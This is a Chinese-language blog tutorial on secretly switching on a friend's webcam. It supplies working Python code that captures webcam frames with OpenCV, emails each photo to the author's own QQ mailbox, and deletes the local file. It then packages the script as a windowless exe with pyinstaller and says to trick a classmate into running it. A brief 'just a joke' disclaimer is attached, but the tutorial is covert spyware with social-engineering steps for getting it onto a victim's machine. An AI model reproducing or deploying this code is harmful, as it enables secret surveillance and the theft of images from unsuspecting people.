前言:
如何悄悄的打開朋友的攝像頭,看看她最近過的怎麼樣,嘿嘿!這次讓我帶你們來實現這個功能。
注: 這個程序僅限在朋友之間開玩笑,別去搞什麼違法的事情哦。
代碼
發送郵件
使用python內置的email模塊即可完成。導入相應的代碼封裝爲一個send函數,順便導入需要導入的包
注: 下面的代碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權碼,不知道qq郵箱授權碼的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '寫你的qq郵箱地址'
receivers = '寫你的qq郵箱地址'
message = MIMEMultipart('related')
subject = '終於能發圖片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open(img, "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, '寫授權碼')
server.sendmail(sender, receivers, message.as_string())
server.quit()
except smtplib.SMTPException as e:
print(e)
打開攝像頭併發送圖片
我們使用opencv打開筆記本內置的攝像頭,不多說上代碼
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller將程序打包
好不容易寫好了代碼,結果同學那裏沒有運行環境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個exe文件,照片還不是手到擒來。
我們使用pyinstaller來打包,沒有下載的可以先pip安裝
pip install pyinstaller -i https://pypi.douban.com/simple --user
之後我們打開cmd,cd到你的代碼所在的文件,輸入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然後等一會,等運行完了之後你就會發現在你的代碼所在的文件夾裏多了一個dist的文件夾,exe文件就在那裏。
下面就是最關鍵的一步了!
忽悠同學
找個同學忽悠她一下
注意:最後送大家一套2020最新企業Pyhon項目實戰視頻教程,點擊此處 進來獲取 ,希望大家一起進步哦!
如果感覺有趣的話就隨手點個贊吧